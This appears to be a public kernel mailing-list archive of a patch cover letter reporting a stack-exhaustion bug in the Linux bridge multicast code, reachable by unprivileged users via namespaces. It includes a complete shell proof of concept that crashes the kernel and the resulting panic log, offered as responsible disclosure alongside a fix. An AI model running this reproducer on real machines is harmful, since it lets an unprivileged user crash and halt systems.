From: Ren Wei <weir@nebusec.ai>
To: bridge@lists.linux.dev, netdev@vger.kernel.org
Cc: razor@blackwall.org, idosch@nvidia.com, davem@davemloft.net,
edumazet@kernel.org, kuba@kernel.org, pabeni@redhat.com,
horms@kernel.org, vega@nebusec.ai, petalzu987@gmail.com,
weir@nebusec.ai
Subject: [PATCH net 0/1] net: bridge: avoid recursive multicast cleanup
Date: Sun, 27 Sep 2026 01:04:38 +0800 [thread overview]
Message-ID: <cover.1790323012.git.petalzu987@gmail.com> (raw)
From: Zixuan Chai <petalzu987@gmail.com>
Hi Linux kernel maintainers,
We found and validated an issue in net/bridge/br_multicast.c. The bug is
reachable by a non-root user via user and network namespaces. We've tested
it, and it should not affect any other bridge multicast functionality.
This bug is tracked at: https://bugtracker.nebusec.ai/f/4342
We will provide detailed information about the bug in this email, along
with a PoC to trigger it.
---- details below ----
Bug details:
When an EXCLUDE (*,G) port is deleted, br_multicast_star_g_handle_mode()
removes its corresponding temporary STAR_EXCL (S,G) port. For an (S,G)
entry, br_multicast_del_pg() then calls
br_multicast_sg_del_exclude_ports() to remove the remaining automatically
added ports. That helper also calls br_multicast_del_pg() for each port,
which re-enters the same cleanup and adds another stack frame per port.
With enough ports, the task hits the kernel stack guard page.
The new internal deletion helper takes a flag controlling this follow-up
cleanup. br_multicast_sg_del_exclude_ports() uses it with the follow-up
disabled while walking the same entry; ordinary deletion callers retain
the existing behavior.
Reproducer:
Run the attached shell PoC as a non-root guest user with iproute2 bridge
MDB filter-mode support:
sh poc.sh --namespace
The PoC uses unshare -Urn, creates 256 temporary EXCLUDE ports and a
permanent INCLUDE source entry with IGMPv3 enabled, then deletes one
EXCLUDE port.
------BEGIN poc.sh------
#!/bin/sh
set -eu
PATH=/usr/sbin:/usr/bin:/sbin:/bin:$PATH
N="${N:-256}"
BR="${BR:-br0}"
GROUP="${GROUP:-239.1.1.1}"
SOURCE="${SOURCE:-10.0.0.1}"
INC_PORT="${INC_PORT:-e0}"
need_cmd() {
command -v "$1" >/dev/null 2>&1 || {
echo "missing command: $1" >&2
exit 1
}
}
cleanup() {
ip link del "$BR" 2>/dev/null || true
ip link del "$INC_PORT" 2>/dev/null || true
i=1
while [ "$i" -le "$N" ]; do
ip link del "e$i" 2>/dev/null || true
i=$((i + 1))
done
}
run_inner() {
need_cmd ip
need_cmd bridge
sysctl -w kernel.panic_on_warn=0 >/dev/null 2>&1 || true
cleanup
echo "[*] building bridge with $N temporary STAR_EXCL candidates" >&2
ip link add "$BR" type bridge mcast_snooping 1 mcast_igmp_version 3
ip link set "$BR" up
i=1
while [ "$i" -le "$N" ]; do
ip link add "e$i" type dummy
ip link set "e$i" master "$BR"
ip link set "e$i" up
i=$((i + 1))
done
ip link add "$INC_PORT" type dummy
ip link set "$INC_PORT" master "$BR"
ip link set "$INC_PORT" up
echo "[*] installing (*,G) EXCLUDE ports" >&2
i=1
while [ "$i" -le "$N" ]; do
bridge mdb add dev "$BR" port "e$i" grp "$GROUP" temp \
filter_mode exclude
i=$((i + 1))
done
echo "[*] installing the permanent (*,G) INCLUDE source that seeds the shared (S,G)" >&2
bridge mdb add dev "$BR" port "$INC_PORT" grp "$GROUP" permanent \
filter_mode include source_list "$SOURCE"
echo "[*] deleting one EXCLUDE port; this recursively tears down every STAR_EXCL S,G port" >&2
bridge mdb del dev "$BR" port e1 grp "$GROUP"
}
if [ "${1:-}" = "--inner" ]; then
shift
run_inner "$@"
exit 0
fi
if [ "${1:-}" = "--namespace" ]; then
shift
exec unshare -Urn -- "$0" --inner "$@"
fi
run_inner "$@"
------END poc.sh--------
----BEGIN crash log----
[ 989.150962][ C1] BUG: TASK stack guard page was hit at ffa000000ef8ffd8 (stack is ffa000000ef90000..ffa000000ef98000)
[ 989.150999][ C1] Oops: stack guard page: 0000 [#1] SMP KASAN NOPTI
[ 989.152881][ C1] CPU: 1 UID: 1001 PID: 14739 Comm: bridge Not tainted 7.3.0-rc4-g11536ee3d3e0 #1 PREEMPT(full)
[ 989.153997][ C1] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014
[ 989.154886][ C1] RIP: 0010:__lock_acquire+0xd2/0x2110
[ 989.155441][ C1] Code: 2f 00 00 8b 0c 24 44 8b 5c 24 08 48 85 c0 44 8b 44 24 10 49 89 c7 0f 84 bc 04 00 00 41 8b 86 a0 0b 00 00 44 8b 0d ae 80 ab 19 <89> 04 24 45 85 c9 75 09 83 f8 2f 0f 87 a9 0a 00 00 49 81 ef a0 7d
[ 989.157307][ C1] RSP: 0018:ffa000000ef8ffe8 EFLAGS: 00010046
[ 989.157915][ C1] RAX: 0000000000000002 RBX: 0000000000000000 RCX: 0000000000000002
[ 989.158672][ C1] RDX: 0000000000000000 RSI: ffffffff9b483d80 RDI: ffffffff8e9ebbe0
[ 989.159407][ C1] RBP: 0000000000000000 R08: 0000000000000000 R09: 0000000000000000
[ 989.160149][ C1] R10: 0000000000000001 R11: 0000000000000000 R12: 0000000000000000
[ 989.160892][ C1] R13: ffffffff8e9ebbe0 R14: ff11000027c24c40 R15: ffffffff963f8318
[ 989.161636][ C1] FS: 00000000232d63c0(0000) GS:ff110000d5775000(0000) knlGS:0000000000000000
[ 989.162460][ C1] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 989.163077][ C1] CR2: ffa000000ef8ffd8 CR3: 0000000053bcc000 CR4: 0000000000753ef0
[ 989.163813][ C1] PKRU: 55555554
[ 989.164150][ C1] Call Trace:
[ 989.164467][ C1] <TASK>
[ 989.164750][ C1] lock_acquire+0x1bf/0x370
[ 989.165183][ C1] ? unwind_next_frame+0xbf/0x2300
[ 989.165676][ C1] unwind_next_frame+0xd3/0x2300
[ 989.166144][ C1] ? unwind_next_frame+0xbf/0x2300
[ 989.166616][ C1] ? __unwind_start+0x585/0x810
[ 989.167062][ C1] ? get_stack_info_noinstr+0x18/0x120
[ 989.167571][ C1] __unwind_start+0x50a/0x810
[ 989.168010][ C1] ? __pfx_stack_trace_consume_entry+0x10/0x10
[ 989.168578][ C1] arch_stack_walk+0x62/0xf0
[ 989.169005][ C1] ? __unwind_start+0x585/0x810
[ 989.169453][ C1] stack_trace_save+0x8e/0xc0
[ 989.169890][ C1] ? __pfx_stack_trace_save+0x10/0x10
[ 989.170366][ C1] ? br_multicast_del_pg+0x166f/0x1da0
[ 989.170865][ C1] ? kernel_text_address+0x11/0x90
[ 989.171333][ C1] ? __kernel_text_address+0xd/0x40
[ 989.171797][ C1] ? unwind_get_return_address+0x59/0xa0
[ 989.172298][ C1] ? __pfx_stack_trace_consume_entry+0x10/0x10
[ 989.172847][ C1] kasan_save_stack+0x24/0x50
[ 989.173271][ C1] ? br_multicast_del_pg+0x166f/0x1da0
[ 989.173766][ C1] ? stack_trace_save+0x8e/0xc0
[ 989.174202][ C1] ? ref_tracker_alloc+0x172/0x590
[ 989.174661][ C1] ? stack_depot_save_flags+0x2d/0xa40
[ 989.175147][ C1] ? ref_tracker_alloc+0x172/0x590
[ 989.175608][ C1] ? set_track_prepare+0x3d/0x70
[ 989.176047][ C1] ? ref_tracker_alloc+0x172/0x590
[ 989.176502][ C1] ? switchdev_deferred_enqueue+0x139/0x2b0
[ 989.177028][ C1] ? switchdev_port_obj_del+0xfb/0x160
[ 989.177512][ C1] ? br_switchdev_mdb_notify+0x173/0x3b0
[ 989.178014][ C1] ? __br_mdb_notify+0x578/0x810
[ 989.178459][ C1] ? br_multicast_del_pg+0x24f/0x1da0
[ 989.178944][ C1] ? br_multicast_del_pg+0x166f/0x1da0
[ 989.179436][ C1] ? br_multicast_del_pg+0x166f/0x1da0
[ 989.179920][ C1] ? br_multicast_del_pg+0x166f/0x1da0
[ 989.180409][ C1] ? br_multicast_del_pg+0x166f/0x1da0
[ 989.180901][ C1] ? br_multicast_del_pg+0x166f/0x1da0
[ 989.181390][ C1] ? br_multicast_del_pg+0x166f/0x1da0
[ 989.181891][ C1] ? br_multicast_del_pg+0x166f/0x1da0
[ 989.182383][ C1] ? br_multicast_del_pg+0x166f/0x1da0
[ 989.182870][ C1] ? br_multicast_del_pg+0x166f/0x1da0
[ 989.183361][ C1] ? br_multicast_del_pg+0x166f/0x1da0
[ 989.183853][ C1] ? ___slab_alloc+0x27a/0x830
[ 989.184286][ C1] ? rcu_is_watching+0x13/0xc0
[ 989.184720][ C1] kasan_save_track+0x14/0x30
[ 989.185140][ C1] __kasan_kmalloc+0xaa/0xb0
[ 989.185550][ C1] __kmalloc_cache_noprof+0x2da/0x6e0
[ 989.186034][ C1] ? br_multicast_del_pg+0x166f/0x1da0
[ 989.186522][ C1] ? ref_tracker_alloc+0x172/0x590
[ 989.186977][ C1] ref_tracker_alloc+0x172/0x590
[ 989.187417][ C1] ? br_multicast_del_pg+0x166f/0x1da0
[ 989.187906][ C1] ? __pfx_ref_tracker_alloc+0x10/0x10
[ 989.188392][ C1] ? br_multicast_del_pg+0x166f/0x1da0
[ 989.188881][ C1] ? rcu_is_watching+0x13/0xc0
[ 989.189314][ C1] ? trace_kmalloc+0xda/0x110
[ 989.189743][ C1] ? __kasan_kmalloc+0xaa/0xb0
[ 989.190169][ C1] ? __kmalloc_noprof+0x376/0x810
[ 989.190626][ C1] ? switchdev_deferred_enqueue+0x33/0x2b0
[ 989.191144][ C1] ? __pfx_switchdev_port_obj_del_deferred+0x10/0x10
[ 989.191733][ C1] switchdev_deferred_enqueue+0x139/0x2b0
[ 989.192235][ C1] switchdev_port_obj_del+0xfb/0x160
[ 989.192709][ C1] br_switchdev_mdb_notify+0x173/0x3b0
[ 989.193201][ C1] ? __pfx_br_switchdev_mdb_notify+0x10/0x10
[ 989.193742][ C1] __br_mdb_notify+0x578/0x810
[ 989.194171][ C1] ? arch_irq_work_raise+0x4f/0x70
[ 989.194633][ C1] br_multicast_del_pg+0x24f/0x1da0
[ 989.195108][ C1] ? find_held_lock+0x2b/0x80
[ 989.195534][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.196010][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.196484][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.196957][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.197432][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.197925][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.198400][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.198879][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.199351][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.199820][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.200287][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.200757][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.201229][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.201697][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.202172][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.202651][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.203128][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.203609][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.204090][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.204565][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.205048][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.205522][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.206000][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.206481][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.206958][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.207441][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.207920][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.208397][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.208877][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.209366][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.209845][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.210328][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.210802][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.211285][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.211759][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.212240][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.212719][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.213202][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.213689][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.214163][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.214640][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.215122][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.215602][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.216085][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.216568][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.217043][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.217526][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.218009][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.218493][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.218969][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.219446][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.219924][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.220403][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.220879][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.221360][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.221845][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.222324][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.222805][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.223285][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.223770][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.224247][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.224729][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.225201][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.225687][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.226162][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.226645][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.227122][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.227605][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.228089][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.228572][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.229055][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.229537][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.230024][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.230506][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.230988][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.231465][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.231937][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.232411][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.232884][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.233363][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.233843][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.234323][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.234795][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.235278][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.235757][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.236241][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.236719][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.237198][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.237676][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.238156][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.238639][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.239123][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.239604][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.240087][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.240570][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.241051][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.241533][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.242012][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.242494][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.242980][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.243461][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.243938][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.244419][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.244896][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.245370][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.245855][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.246340][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.246822][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.247300][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.247781][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.248261][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.248745][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.249217][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.249698][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.250182][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.250671][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.251152][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.251632][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.252111][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.252592][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.253069][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.253549][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.254025][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.254507][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.254991][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.255475][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.255952][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.256436][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.256913][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.257390][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.257873][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.258351][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.258831][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.259316][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.259794][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.260272][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.260750][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.261231][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.261713][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.262186][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.262664][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.263139][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.263622][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.264097][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.264571][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.265050][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.265532][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.266019][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.266500][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.266978][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.267462][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.267947][ C1] br_multicast_del_pg+0x166f/0x1da0
[ 989.268426][ C1] br_multicast_find_del_pg.part.0+0x12c/0x180
[ 989.268975][ C1] br_multicast_star_g_handle_mode+0x503/0xb60
[ 989.269525][ C1] ? __pfx_br_multicast_star_g_handle_mode+0x10/0x10
[ 989.270121][ C1] ? skb_put+0x138/0x1b0
[ 989.270510][ C1] ? __br_mdb_notify+0x54d/0x810
[ 989.270960][ C1] ? br_multicast_del_pg+0x342/0x1da0
[ 989.271448][ C1] br_multicast_del_pg+0x342/0x1da0
[ 989.271917][ C1] ? br_mdb_ip_get+0x62f/0xbe0
[ 989.272353][ C1] __br_mdb_del+0x40a/0x6d0
[ 989.272762][ C1] ? __pfx___br_mdb_del+0x10/0x10
[ 989.273218][ C1] br_mdb_del+0x2ae/0x4c0
[ 989.273612][ C1] ? __pfx_br_mdb_del+0x10/0x10
[ 989.274054][ C1] ? __mutex_lock+0x27a/0x1d90
[ 989.274488][ C1] ? __nla_parse+0x42/0x60
[ 989.274894][ C1] ? __pfx_br_mdb_del+0x10/0x10
[ 989.275328][ C1] rtnl_mdb_del+0x296/0x6a0
[ 989.275742][ C1] ? __pfx_rtnl_mdb_del+0x10/0x10
[ 989.276194][ C1] ? __pfx_rtnl_mdb_del+0x10/0x10
[ 989.276642][ C1] rtnetlink_rcv_msg+0x3cd/0xfa0
[ 989.277088][ C1] ? __pfx_rtnetlink_rcv_msg+0x10/0x10
[ 989.277569][ C1] ? __lock_acquire+0x509/0x2110
[ 989.278011][ C1] netlink_rcv_skb+0x147/0x430
[ 989.278443][ C1] ? __pfx_rtnetlink_rcv_msg+0x10/0x10
[ 989.278924][ C1] ? __pfx_netlink_rcv_skb+0x10/0x10
[ 989.279394][ C1] ? netlink_deliver_tap+0x1ae/0xd10
[ 989.279872][ C1] netlink_unicast+0x58d/0x850
[ 989.280302][ C1] ? __pfx_netlink_unicast+0x10/0x10
[ 989.280767][ C1] ? __pfx_sock_has_perm+0x10/0x10
[ 989.281225][ C1] netlink_sendmsg+0x88d/0xd90
[ 989.281658][ C1] ? __pfx_netlink_sendmsg+0x10/0x10
[ 989.282121][ C1] ? selinux_socket_sendmsg+0x18f/0x2e0
[ 989.282616][ C1] ? __pfx_netlink_sendmsg+0x10/0x10
[ 989.283085][ C1] ____sys_sendmsg+0xa27/0xb90
[ 989.283516][ C1] ? __pfx_____sys_sendmsg+0x10/0x10
[ 989.283988][ C1] ? __pfx_copy_msghdr_from_user+0x10/0x10
[ 989.284508][ C1] ? __pfx_____sys_recvmsg+0x10/0x10
[ 989.284978][ C1] ? copy_msghdr_from_user+0xfb/0x150
[ 989.285457][ C1] ___sys_sendmsg+0x11c/0x1b0
[ 989.285877][ C1] ? __pfx____sys_sendmsg+0x10/0x10
[ 989.286337][ C1] ? ___sys_recvmsg+0x110/0x190
[ 989.286769][ C1] ? __pfx____sys_recvmsg+0x10/0x10
[ 989.287236][ C1] ? __css_rstat_updated+0x1c0/0x570
[ 989.287718][ C1] ? count_memcg_events_mm.constprop.0+0xfa/0x2a0
[ 989.288293][ C1] __sys_sendmsg+0x142/0x1f0
[ 989.288710][ C1] ? __pfx___sys_sendmsg+0x10/0x10
[ 989.289178][ C1] do_syscall_64+0x128/0x7b0
[ 989.289594][ C1] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 989.290126][ C1] RIP: 0033:0x4902f7
[ 989.290470][ C1] Code: ff ff f7 d8 64 89 02 48 c7 c0 ff ff ff ff eb b9 0f 1f 00 f3 0f 1e fa 64 8b 04 25 18 00 00 00 85 c0 75 10 b8 2e 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 51 c3 48 83 ec 28 89 54 24 1c 48 89 74 24 10
[ 989.292145][ C1] RSP: 002b:00007ffe5186f578 EFLAGS: 00000246 ORIG_RAX: 000000000000002e
[ 989.292880][ C1] RAX: ffffffffffffffda RBX: 00007ffe5186f740 RCX: 00000000004902f7
[ 989.293563][ C1] RDX: 0000000000000000 RSI: 00007ffe5186f5e0 RDI: 0000000000000003
[ 989.294253][ C1] RBP: 00007ffe5186fe10 R08: 000000000000001c R09: 0000000000000004
[ 989.294945][ C1] R10: 0000000000000000 R11: 0000000000000246 R12: 00007ffe5186f720
[ 989.295638][ C1] R13: 000000006ab5eb89 R14: 000000000053e160 R15: 00007ffe51871f0f
[ 989.296338][ C1] </TASK>
[ 989.296613][ C1] Modules linked in:
[ 989.296967][ C1] ---[ end trace 0000000000000000 ]---
[ 989.297452][ C1] RIP: 0010:__lock_acquire+0xd2/0x2110
[ 989.297464][ C1] Code: 2f 00 00 8b 0c 24 44 8b 5c 24 08 48 85 c0 44 8b 44 24 10 49 89 c7 0f 84 bc 04 00 00 41 8b 86 a0 0b 00 00 44 8b 0d ae 80 ab 19 <89> 04 24 45 85 c9 75 09 83 f8 2f 0f 87 a9 0a 00 00 49 81 ef a0 7d
[ 989.297475][ C1] RSP: 0018:ffa000000ef8ffe8 EFLAGS: 00010046
[ 989.297485][ C1] RAX: 0000000000000002 RBX: 0000000000000000 RCX: 0000000000000002
[ 989.297492][ C1] RDX: 0000000000000000 RSI: ffffffff9b483d80 RDI: ffffffff8e9ebbe0
[ 989.297499][ C1] RBP: 0000000000000000 R08: 0000000000000000 R09: 0000000000000000
[ 989.297506][ C1] R10: 0000000000000001 R11: 0000000000000000 R12: 0000000000000000
[ 989.297513][ C1] R13: ffffffff8e9ebbe0 R14: ff11000027c24c40 R15: ffffffff963f8318
[ 989.297520][ C1] FS: 00000000232d63c0(0000) GS:ff110000d5775000(0000) knlGS:0000000000000000
[ 989.297533][ C1] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 989.297540][ C1] CR2: ffa000000ef8ffd8 CR3: 0000000053bcc000 CR4: 0000000000753ef0
[ 989.297548][ C1] PKRU: 55555554
[ 989.297554][ C1] Kernel panic - not syncing: Fatal exception in interrupt
[ 989.306934][ C1] Kernel Offset: disabled
[ 989.307317][ C1] Rebooting in 86400 seconds..
-----END crash log-----
Zixuan Chai (1):
net: bridge: avoid recursive multicast port cleanup
net/bridge/br_multicast.c | 23 ++++++++++++++++++-----
1 file changed, 18 insertions(+), 5 deletions(-)
--
2.34.1
next reply other threads:[~2026-09-26 17:04 UTC|newest]
Thread overview: 6+ messages / expand[flat|nested] mbox.gz Atom feed top
2026-09-26 17:04 Ren Wei [this message]
2026-09-26 17:04 ` [PATCH net 1/1] net: bridge: avoid recursive multicast port cleanup Ren Wei
2026-09-27 16:30 ` [PATCH net 0/1] net: bridge: avoid recursive multicast cleanup Andrew Lunn
2026-09-27 19:35 ` Zixuan Chai
2026-09-29 7:44 ` Nikolay Aleksandrov
2026-10-05 2:40 ` patchwork-bot+netdevbpf
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to=cover.1790323012.git.petalzu987@gmail.com \
--to=weir@nebusec.ai \
--cc=bridge@lists.linux.dev \
--cc=davem@davemloft.net \
--cc=edumazet@kernel.org \
--cc=horms@kernel.org \
--cc=idosch@nvidia.com \
--cc=kuba@kernel.org \
--cc=netdev@vger.kernel.org \
--cc=pabeni@redhat.com \
--cc=petalzu987@gmail.com \
--cc=razor@blackwall.org \
--cc=vega@nebusec.ai \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
* If your mail client supports setting the In-Reply-To header
via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line
before the message body.
This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.